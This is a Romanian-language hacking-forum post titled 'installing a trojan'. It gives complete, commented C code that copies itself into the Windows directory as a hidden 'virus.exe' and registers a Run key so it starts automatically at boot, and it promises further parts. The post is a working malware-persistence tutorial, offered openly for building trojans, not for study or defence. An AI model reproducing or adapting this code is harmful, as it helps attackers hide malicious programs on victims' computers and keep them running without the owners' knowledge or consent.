Jump to content
SlicK

Instalarea unui troian

Recommended Posts

Cum sa facem ca trojanul nostru sa se instaleze in directorul windowsului si sa ruleze automat la startup.


#include <windows.h>
#include <stdio.h>

bool Install()
{
char FileName[MAX_PATH]; // pentru stocarea caii fisierului curent
char VirName[100]; // pentru stocarea cai troianului
HINSTANCE hInstance=GetModuleHandle(NULL); // handle-ul instantei curente
GetModuleFileName(hInstance, FileName, MAX_PATH); // obtinem numele fisierului curent
GetWindowsDirectory(VirName,100); //obtinem calea catre directorul windows (poate fi diferit de C:WINDOWS )
strcat(VirName,"\virus.exe"); // obtinem calea pe care o va avea troianul pe parcursul vietii sale (evident schimbati numele "virus.exe")

char lszValue[255]; // valoarea date din stringul urmaind a fi creeat in registrii
HKEY hKey; // cheia din registrii
LONG status; // pentru detectarea erorilor
DWORD dwType=REG_SZ; // tipul datelor stocate in stringul din registrii
DWORD dwSize=sizeof(VirName); //marimea valorii stringului

status=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run",0L,KEY_ALL_ACCESS,&hKey); //dechidem cheia din registrii
if(status==ERROR_SUCCESS)
{
status=RegQueryValueEx(hKey,"Porneste Virusul",NULL,&dwType,(LPBYTE)&lszValue,&dwSize);
// verificam daca exista deja un string cu acelasi nume
if (status!=ERROR_SUCCESS)
{
if(CopyFile(FileName,VirName,FALSE)!=0) // copiem fisierul curent in directul windowsului cu numele specificat mai sus
{
SetFileAttributes(VirName,FILE_ATTRIBUTE_HIDDEN); // facem fisierul ascuns
status=RegSetValueEx(hKey,"Porneste Virusul",0,REG_SZ,(const unsigned char*)VirName,dwSize); // creem un string cu valoarea numelui troianul
if(status==ERROR_SUCCESS)
{
RegCloseKey(hKey); // inchidem cheia
return true; // totul e ok
}// else: nu am putut scrie in registrii
}// else: troianul se afla deja in windows,mai exista un fisier cu acelasi nume sau nu avem permisiune de scriere
}// else: exista deja o valoare cu acelasi nume
RegCloseKey(hKey); // inchidem cheia
}//else: nu am putut deschide cheia din registrii
return false; //ceva a mers prost sau troianul e deja instalat
}

int main()
{
if(Install()==true) // daca instalarea a reusit
{
exit(0); // iesim si asteptam restartarea calculatorului, fisierul curent nu mai este folosit la nimic
}
else // daca nu a reusit (probabil troianul este deja instalat)
{
// continuam programul
}
return 0;
}

Sper sa fie usor de inteles pentru ca arata cam aiurea la 'Previzualizeaza" :)

To be continued...

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...